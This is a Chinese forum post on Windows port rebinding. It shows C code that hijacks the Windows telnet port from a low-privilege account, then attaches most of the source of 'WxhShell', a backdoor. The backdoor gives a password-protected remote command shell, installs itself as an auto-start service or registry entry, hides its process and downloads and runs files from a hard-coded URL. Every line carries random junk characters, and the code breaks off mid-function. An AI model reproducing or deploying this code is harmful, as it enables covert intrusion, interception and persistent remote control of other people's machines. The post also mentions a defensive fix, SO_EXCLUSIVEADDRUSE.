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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~Q"3#4l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OJiW@Z_\  
j78WPG  
  saddr.sin_family = AF_INET; `v3WJ>Q!N?  
H-A?F ^#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |D+"+w/  
d4KT wn5g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IWcgh`8  
OV3l)73?t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v+uq  
i^Vb42%y  
  这意味着什么?意味着可以进行如下的攻击: M#X8Rs1`  
a0I+|fR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 52?zBl`|  
1=(jpy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c*2 U'A  
Jb~$Vrdy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H'k$<S  
|S.G#za  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I^"ou M9}Q  
}a?PB o`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D\|$ ! i}  
li'h&!|]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~_opU(;f  
aX`"V/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +v.uP [H  
"%fh`4y3\  
  #include MCOiB <L6  
  #include Z`x|\jI  
  #include /j l{~R#1  
  #include    !>QS746S@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &_Kb;UVRj  
  int main() j6v|D>I  
  { :5Vk+s]8  
  WORD wVersionRequested; n^aSio6  
  DWORD ret; U-Ia$b-5!  
  WSADATA wsaData; 2N*XzVplN  
  BOOL val; Q#"p6ZmI  
  SOCKADDR_IN saddr; ]v^/c~"${  
  SOCKADDR_IN scaddr; pF kA,  
  int err; mdjPK rF<  
  SOCKET s; &*2\1;1tB  
  SOCKET sc; np2oXg%  
  int caddsize; fkf69,+"]  
  HANDLE mt; aT}Mn(F*?  
  DWORD tid;   ?;84 M@  
  wVersionRequested = MAKEWORD( 2, 2 ); <xpOi&l  
  err = WSAStartup( wVersionRequested, &wsaData ); rR`'l=,t  
  if ( err != 0 ) { \kSoDY`l&  
  printf("error!WSAStartup failed!\n"); GL;@heP  
  return -1; 3ARvSz@5  
  } Gk_%WY*  
  saddr.sin_family = AF_INET; ,=sbK?&  
   mGx!{v~i&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \7b-w81M-  
+B(x:hzY9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +&hhj~I.  
  saddr.sin_port = htons(23); <0lXJqd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aAM!;3j]B`  
  { F6>K FU8  
  printf("error!socket failed!\n"); .*XELP=BT  
  return -1; EUBJnf:q  
  } +;z^qn  
  val = TRUE; W P7RX|7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eu=G[>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 & G0;  
  { |OW/-&)  
  printf("error!setsockopt failed!\n"); =&+]>g{T  
  return -1; 337y,;  
  } eC%uu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =5:L#` .  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B ~u9"SR.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $t*>A+J  
|-Rg].  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =$bJ`GpJ  
  { GJZGHUB=>  
  ret=GetLastError(); PJd7t% m;  
  printf("error!bind failed!\n"); h>ZNPP8N  
  return -1; Oi#4|*b{W  
  } ]vj.s/F~  
  listen(s,2); $cl[Qcw  
  while(1) ;]*V6!6RR  
  { wQ1_Q8:Z  
  caddsize = sizeof(scaddr); U@t" o3E  
  //接受连接请求 $DPMi9,7^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8yW8F26  
  if(sc!=INVALID_SOCKET) wyzx9`5~d  
  { 2n]UNC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }YV,uJH[  
  if(mt==NULL) '?| (QU:)F  
  { RF3?q6j ,  
  printf("Thread Creat Failed!\n"); pypW  
  break; gut[q  
  } i4<&zj})  
  } -,xCUG<g  
  CloseHandle(mt); :Y? L*  
  } ;8F|Q<`pV  
  closesocket(s); EY~b,MIL4  
  WSACleanup(); 4%!#=JCl  
  return 0; (<M^C>pldf  
  }   ?yAp&Ad  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q 6>7{\8l  
  { #Z;6f{yWf  
  SOCKET ss = (SOCKET)lpParam; nsT]Yxo%M  
  SOCKET sc; 6yDj1PI  
  unsigned char buf[4096]; g%C!)UbT  
  SOCKADDR_IN saddr; K4T#8K]aZF  
  long num; $}&r.=J".  
  DWORD val; |W't-}yf  
  DWORD ret; }iGpuoXT`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $qz(9M(m#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jM <=>P  
  saddr.sin_family = AF_INET; bx!uHL=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 48}L!m @  
  saddr.sin_port = htons(23); 'K|Jg.2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kXj rc  
  { }s*H| z  
  printf("error!socket failed!\n"); VSm[80iR0  
  return -1; !v/j*'L<M}  
  } GUX! kj  
  val = 100; Gp 8%n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F4P=Wz]  
  { >Xz=E0;^Ua  
  ret = GetLastError(); ? PIq/[tk  
  return -1; hMcSB8?  
  } g(X-]/C{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'eM90I%(  
  { t1LIZ5JY  
  ret = GetLastError(); =1!,A  
  return -1; rTJ='<hIy  
  } wEQ7=Gyx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M<Gr~RKmAn  
  { 8 `\^wG$W  
  printf("error!socket connect failed!\n"); i|`b2msvd  
  closesocket(sc); Sf_q;Ws  
  closesocket(ss); _'eG   
  return -1; 8S8^sP  
  } [{s 1= c  
  while(1) 4[\$3t.L  
  { iCz0T,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q,e{t#t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n jfh4}g:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y#Cp Vm#!>  
  num = recv(ss,buf,4096,0); #F>7@N:5  
  if(num>0) ^*6So3  
  send(sc,buf,num,0); }JP0q  
  else if(num==0) jwP}{mi*  
  break; ;q=0NtCS=4  
  num = recv(sc,buf,4096,0); ^[UWG^d  
  if(num>0) g]fdsZv  
  send(ss,buf,num,0); "ITC P<+  
  else if(num==0) AD$$S.zoD<  
  break; |3Fo4K%+  
  } KC"#  
  closesocket(ss); %1Ex{H hb  
  closesocket(sc); L&gC  
  return 0 ; 4yZ'+\ +I  
  } s!lLdR[g  
%NyV 2W=~X  
&1=Je$,  
========================================================== rL kUIG  
9EPE.+ns  
下边附上一个代码,,WXhSHELL PIZnzZ@Z;  
"7]YvZYu0  
========================================================== >DFpL$oP  
MC 8t"SB  
#include "stdafx.h" 5} v(Ks>  
'ycr/E&m{  
#include <stdio.h> dkHye>  
#include <string.h> ?&ow:OH+  
#include <windows.h> G,{=sFX  
#include <winsock2.h> kiah,7V/  
#include <winsvc.h> uTWij4)a  
#include <urlmon.h> ^)JUl!5j]C  
|8QXjzH  
#pragma comment (lib, "Ws2_32.lib") 2H,^i,  
#pragma comment (lib, "urlmon.lib") sIVVF#0}]  
.Mn_T*F  
#define MAX_USER   100 // 最大客户端连接数 z~O#0Q !  
#define BUF_SOCK   200 // sock buffer # NoY}*  
#define KEY_BUFF   255 // 输入 buffer qdM=}lbc  
gs xT  
#define REBOOT     0   // 重启 Q3@MRR^tY  
#define SHUTDOWN   1   // 关机 X0QY:?  
!!{!T;)l  
#define DEF_PORT   5000 // 监听端口 !Q/%N#  
P!6 v0ezN  
#define REG_LEN     16   // 注册表键长度 G{ |0}  
#define SVC_LEN     80   // NT服务名长度 3?}\Hw  
A:-MRhE9X  
// 从dll定义API nnzfKn:J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ].TAZ-4s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mu1H*;_8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #hKaH -j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B-R& v8F  
-a[[1  
// wxhshell配置信息 )s#NQ.T[  
struct WSCFG { _v[yY3=3  
  int ws_port;         // 监听端口 K)D5%?D  
  char ws_passstr[REG_LEN]; // 口令 $!'S7;*uW  
  int ws_autoins;       // 安装标记, 1=yes 0=no `4xnM`:L"  
  char ws_regname[REG_LEN]; // 注册表键名 'aN`z3T  
  char ws_svcname[REG_LEN]; // 服务名 bu2@~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UY ^dFbJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _,"?R]MO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %2S+G?$M?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }L!%^siG_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vp[;rDsIJ$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LR(Q.x  
`rwzCwA1  
}; N!W# N$  
5xS ze;  
// default Wxhshell configuration $i|c6&  
struct WSCFG wscfg={DEF_PORT,  WR;)  
    "xuhuanlingzhe", Gz_[|,i  
    1, &7fwYV  
    "Wxhshell", (G E)  
    "Wxhshell", KTmduf7DL  
            "WxhShell Service", Ar;uq7c,G  
    "Wrsky Windows CmdShell Service", q2$-U&  
    "Please Input Your Password: ", F2N)|C<  
  1, sy\w ^]  
  "http://www.wrsky.com/wxhshell.exe", wU"0@^k]<  
  "Wxhshell.exe" k2-:! IE  
    }; |}?o=bO  
.uoQ@3  
// 消息定义模块 ,/bSa/x`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bG|aQ2HW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; odPdWV,&*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &'mq).I2  
char *msg_ws_ext="\n\rExit."; eG @0:  
char *msg_ws_end="\n\rQuit."; Ala~4_" WL  
char *msg_ws_boot="\n\rReboot..."; 342m=7lK  
char *msg_ws_poff="\n\rShutdown..."; K1_]ne)  
char *msg_ws_down="\n\rSave to "; hoLQuh%2%  
 pxuZ=<  
char *msg_ws_err="\n\rErr!"; YKWiZ  
char *msg_ws_ok="\n\rOK!"; dF`\ewRFn  
+A!E 6+'  
char ExeFile[MAX_PATH]; fr19C%{  
int nUser = 0; Li?_P5+a  
HANDLE handles[MAX_USER]; &*e(  
int OsIsNt; @)IHd6 R  
qH8d3?1XO  
SERVICE_STATUS       serviceStatus; TwaK>t96[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Fv8&tR  
>l>;"R9N  
// 函数声明 =_"[ &^  
int Install(void); f Yt y7  
int Uninstall(void); <mk'n6B  
int DownloadFile(char *sURL, SOCKET wsh); VEc^Ap1?'  
int Boot(int flag); 1 7..  
void HideProc(void); <'N(`.&3C  
int GetOsVer(void); xMpQPTte  
int Wxhshell(SOCKET wsl); /A4^l]H;+3  
void TalkWithClient(void *cs); &Q>tV+*  
int CmdShell(SOCKET sock); ,$,c<M  
int StartFromService(void); 82>90e(CH]  
int StartWxhshell(LPSTR lpCmdLine); q!OB?03n  
1Z$` }a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K<g<xW*X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ofm?`SE*|  
xh90qm  
// 数据结构和表定义 |Y9mre.Y;  
SERVICE_TABLE_ENTRY DispatchTable[] = ^'Z?BK  
{ } vzNh_  
{wscfg.ws_svcname, NTServiceMain}, C3hQT8~  
{NULL, NULL} 4[.DQ#r  
}; '=V!Y$tn  
rD?G7l<~>_  
// 自我安装 q!y6 K*  
int Install(void) :|5 \XV)>  
{ O^L#(8bC  
  char svExeFile[MAX_PATH]; ?b,x;hIO  
  HKEY key; jfOqE*frl!  
  strcpy(svExeFile,ExeFile); 5.TeH@(  
*Bm7>g6  
// 如果是win9x系统,修改注册表设为自启动 C@ns`Eh8w  
if(!OsIsNt) { BB.^[:,dA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *^@{LwY\M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V9 J`LQ\0  
  RegCloseKey(key); d$?sS9"8(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oR1HJ2>Z1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L T2UY*  
  RegCloseKey(key); FD*) @4<o  
  return 0; [ e6zCN^t  
    } oLh 2:c  
  } _[:>!ekx  
} "gQ-{ W  
else { ]E:K8E  
3$yOv "`  
// 如果是NT以上系统,安装为系统服务 w{$X :Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ';>A=m9(4%  
if (schSCManager!=0) ?r}'0dW  
{  <j<V{Wc  
  SC_HANDLE schService = CreateService gAPD y/wM  
  ( H[M(t^GM  
  schSCManager, #sRkKl|  
  wscfg.ws_svcname, F^/b!)4X  
  wscfg.ws_svcdisp, e%wzcn  
  SERVICE_ALL_ACCESS, {pR4+g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ 7^#.  
  SERVICE_AUTO_START, pFW^   
  SERVICE_ERROR_NORMAL, !!we4tWq  
  svExeFile, _=Eb:n+X  
  NULL,  ~0T;T  
  NULL, tF&g3)D:NV  
  NULL, %%c1@2G<  
  NULL, q[ -YXO  
  NULL Jjr&+Q^3Tu  
  ); v*[oe  
  if (schService!=0) m,X8Cy|vQ  
  { KccIYn~  
  CloseServiceHandle(schService); i .GJO +K  
  CloseServiceHandle(schSCManager); 4Y/kf%]]A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AW')*{/(Ii  
  strcat(svExeFile,wscfg.ws_svcname); Fo:60)Lr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ` v"p""_H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5IJm_oy  
  RegCloseKey(key); 4b/>ZHFOF;  
  return 0; } Tz<fd/  
    } ^8q(_#w`K  
  } 9!u&8#i  
  CloseServiceHandle(schSCManager); 6dlV:f_\y  
} y~Ts9AE  
} %={[e`,  
{n'+P3\T:  
return 1; .gP}/dj  
} 'lIj89h<E  
E/:mO~1< c  
// 自我卸载 M!D&a)\  
int Uninstall(void) U-6pia /o  
{ 62D UF  
  HKEY key; g[%^OT#  
u$%;03hJ  
if(!OsIsNt) { S@^o=B]]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wq"5-U;:w  
  RegDeleteValue(key,wscfg.ws_regname); Y A:!ULzR*  
  RegCloseKey(key); OC5\3H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nb|KIW  
  RegDeleteValue(key,wscfg.ws_regname); ,CED%  
  RegCloseKey(key); p2I9t|  
  return 0; P~^VLnw  
  } Iss)7I  
} WV?3DzeR  
} 0vjlSHS;`.  
else { .kf FaK  
~C31=\$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S"Z.M _  
if (schSCManager!=0) 5oTj^W8M(  
{ ;_dOYG1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ur@"wcl"V  
  if (schService!=0) U'oFW@Y;h  
  { 'L5ih|$>  
  if(DeleteService(schService)!=0) { ah2L8jN"  
  CloseServiceHandle(schService); BTAt9Z8qK  
  CloseServiceHandle(schSCManager); 3vC"Q!J&  
  return 0; 4 >`2vb  
  } kes GwMr"e  
  CloseServiceHandle(schService); VNT*@^O_=  
  } vAt ]N)R  
  CloseServiceHandle(schSCManager); 'Z}3XVZEN  
} QJ^'Uyfdn  
} my+2@ln  
f j:q>}V  
return 1; {W11+L{8  
} aUYq~E tj  
kW4B @Zh  
// 从指定url下载文件 uWjSqyb:  
int DownloadFile(char *sURL, SOCKET wsh) +L hV4@zC  
{ 1@<PcQBp  
  HRESULT hr; s%/x3anz=  
char seps[]= "/"; L} Rsg'U  
char *token; {Lg]chJq?  
char *file; ;%a  
char myURL[MAX_PATH]; 8:gUo8  
char myFILE[MAX_PATH]; f=T-4Of  
w,!IvDCAw  
strcpy(myURL,sURL); Y2d(HD@  
  token=strtok(myURL,seps); m4_ZGjmJM  
  while(token!=NULL)  sg9  
  { nmWo:ox4;(  
    file=token; AO~f=GW  
  token=strtok(NULL,seps); k%Wj+\93 f  
  } EC`=nGF  
-PiakX  
GetCurrentDirectory(MAX_PATH,myFILE); MG-#p8  
strcat(myFILE, "\\"); !L3\B_#  
strcat(myFILE, file); wi-F@})f#  
  send(wsh,myFILE,strlen(myFILE),0); >`=9So_J  
send(wsh,"...",3,0); k; (r:k^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R|'ftFebB.  
  if(hr==S_OK) &\m=|S  
return 0; ,p)Qu%'  
else 9NC?J@&B  
return 1; <X "_S'O  
4d63+iM+}  
} ]9lR:V sw  
H#:Aby-d}  
// 系统电源模块 epGC Ta  
int Boot(int flag) IcJQC  
{ =OamN7V=  
  HANDLE hToken; &B?*|M`)k  
  TOKEN_PRIVILEGES tkp; F&u)wI'  
?^gq  
  if(OsIsNt) { >!3r7LgK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;)23@6{R%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $i|d=D&t  
    tkp.PrivilegeCount = 1;  wzf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pB:/oHV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Z1';A3  
if(flag==REBOOT) { Id^)WEK4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,(;]8G-Yj  
  return 0; | {Tq/  
} W4p4[&c|  
else { Qpocj:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $nqVE{ksV  
  return 0; YLv5[pV  
} QX$3"AZ~  
  } ;:1o|>mX  
  else { `Rx\wfr}  
if(flag==REBOOT) { Y6RbRcJw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ApTE:Fm1  
  return 0; b_w(F_0  
} &a!MT^anA~  
else { !X4m6gRaP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CLgfNrW~  
  return 0; uN@El1ouY  
} 9?tG?b0  
} p+#]Jr  
S0w:R:q}L  
return 1; !:3X{)4  
} V.}3d,Em%]  
YB]{gm2  
// win9x进程隐藏模块 S+bpWA  
void HideProc(void) c&'5r OY~  
{ [w{x+6uX'  
#+8G`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i\dd  
  if ( hKernel != NULL ) ']U<R=5T$  
  { yrG=2{I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x5R|,bY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _sK{qQxvM=  
    FreeLibrary(hKernel); $1Qcz,4B|  
  } yY_#fJj  
zuS4N?t`p  
return; uc Ph*M  
} B &e'n<  
*~kHH  
// 获取操作系统版本 |f3 :9(p  
int GetOsVer(void) cRv#aV  
{ 7;9 Jn  
  OSVERSIONINFO winfo; |3G;Rh9w,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  vg8Yc  
  GetVersionEx(&winfo); }"M5"?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k]rc -c-  
  return 1; r2m&z%N &  
  else \k3EFSm  
  return 0; 6t4Khiwx  
} nL+y"O  
6z2%/P-'  
// 客户端句柄模块 @a (-U.CZ  
int Wxhshell(SOCKET wsl) ldt]=Sqy  
{ AP+%T   
  SOCKET wsh; /vs79^&  
  struct sockaddr_in client; Ch_eK^ g1  
  DWORD myID; RMHJI6?LB  
Xi0fX$-,  
  while(nUser<MAX_USER) g(dReC  
{ ej,R:}C%`  
  int nSize=sizeof(client); Y)2#\ F   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (qzBy \\p  
  if(wsh==INVALID_SOCKET) return 1; '7 t:.88  
r7FpR!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "R]wPF5u  
if(handles[nUser]==0) 6&o?#l;|  
  closesocket(wsh); *p0Kw>  
else Sym}#F\s  
  nUser++; ]]P@*4!  
  } 4"veqrC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ` <u2 N  
@H$Sv   
  return 0; PR7B Cxm  
} sh*/wM  
kS4YxtvB  
// 关闭 socket r@EHn[w  
void CloseIt(SOCKET wsh) x/ix%!8J  
{ .Nk5W%7]=  
closesocket(wsh); wz>[CXpi_  
nUser--; #^{%jlmHxJ  
ExitThread(0); /[A#iTe  
} K[S)e!\.  
&WZ&Tt/)/  
// 客户端请求句柄 z"-oD*ICw  
void TalkWithClient(void *cs) PYTwyqS  
{ ;;+h4O )  
og&-P=4O  
  SOCKET wsh=(SOCKET)cs; zUq(bD  
  char pwd[SVC_LEN]; Qna*K7kv  
  char cmd[KEY_BUFF]; fr`Q 5!0  
char chr[1]; gv){&=9/  
int i,j; _'l"Dk  
AdRp{^w  
  while (nUser < MAX_USER) { xnHB <xrE}  
5\}E4y  
if(wscfg.ws_passstr) { qRHT~ta-?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2I283%xr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mpQu:i|W  
  //ZeroMemory(pwd,KEY_BUFF); =1y~Qlu  
      i=0; dDa&:L  
  while(i<SVC_LEN) { 0U8'dYf  
2"c5<  
  // 设置超时 nl~ Z,Y$  
  fd_set FdRead; R '8S)'l  
  struct timeval TimeOut; 7CH.BY  
  FD_ZERO(&FdRead); 3taGb>15  
  FD_SET(wsh,&FdRead); ^6J*:(eM  
  TimeOut.tv_sec=8; *4%%^*g.I  
  TimeOut.tv_usec=0; frc9   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v3{%U1>}v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z[@i=avPG  
m\70&%v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a#l ytp  
  pwd=chr[0]; Q\>mg*79  
  if(chr[0]==0xd || chr[0]==0xa) { n6G&c4g<"  
  pwd=0; ~n! & ~  
  break; <s%Ft  
  }  : 76zRF  
  i++; USaa#s4'  
    } -/2B fIq  
r&IDTS#  
  // 如果是非法用户,关闭 socket w O Ou/Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j+e~ tCcN/  
} t+K1ArQc  
:^U>n{   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y06xl:iQwF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C_JO:$\rE  
Kv)}  
while(1) { vK`HgRQ(C  
'$rCV,3q  
  ZeroMemory(cmd,KEY_BUFF); {+GR/l\!#  
E M`'=<)V  
      // 自动支持客户端 telnet标准   LzD RyL  
  j=0; T+B8SZw#}!  
  while(j<KEY_BUFF) { 'Lw8l `7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mn\A)R Q  
  cmd[j]=chr[0]; OMM5ALc(F  
  if(chr[0]==0xa || chr[0]==0xd) { 5=I"bnIU  
  cmd[j]=0; 62MQ+H  
  break; wqT9m*VK  
  } |3 Iug  
  j++; Xvoz4'Gme  
    } 9Ofls9]U  
8I Ip,#%v  
  // 下载文件 HA7%8R*.2i  
  if(strstr(cmd,"http://")) { "Q:h[)a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h-RhmQA=Iz  
  if(DownloadFile(cmd,wsh)) Sk)lT^by  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {> 8?6m-  
  else Z/!awf>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gs,e8ri!  
  } ;)wk ^W  
  else { e ;^}@X  
GgnR*DVP$  
    switch(cmd[0]) { C|2|OTtQ  
  &,=FPlTC=  
  // 帮助 e6bh,BwgQq  
  case '?': { BoST?"&}'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W-gu*iZ6&  
    break; Z`86YYGK  
  } TI\xCIH  
  // 安装 n>7aZ1Qa  
  case 'i': { H?!DcUg CC  
    if(Install()) CJ7S5   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q VI0?B x  
    else =9W\;xE S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  rV4K@)~  
    break; sH_, P  
    } 3~V .  
  // 卸载 Lis>Qr  
  case 'r': { 2Q\\l @b\  
    if(Uninstall()) GNEPb?+T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # 5U1F[  
    else M] +.xo+A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bM5o-U#^ C  
    break; (xoYYO  
    } uubIL +  
  // 显示 wxhshell 所在路径 17,mqXX>  
  case 'p': { FvG?%IFM  
    char svExeFile[MAX_PATH]; aWH  
    strcpy(svExeFile,"\n\r"); ;E[Q/ tr:w  
      strcat(svExeFile,ExeFile); V"'PA-z3  
        send(wsh,svExeFile,strlen(svExeFile),0); p Pag@L  
    break; gu%i|-}  
    } k3nvML,bv  
  // 重启 .Gvk5Wn  
  case 'b': { , ,ng]&%i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eV/oY1B]<  
    if(Boot(REBOOT)) Dte5g),R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HyOrAv <  
    else { UqyW8TCf?  
    closesocket(wsh); jWV}U a  
    ExitThread(0); yP>025o't  
    } T:Ee6I 3l  
    break; H0sTL#/L\  
    } E`V\/`5D  
  // 关机 ;,e16^\' &  
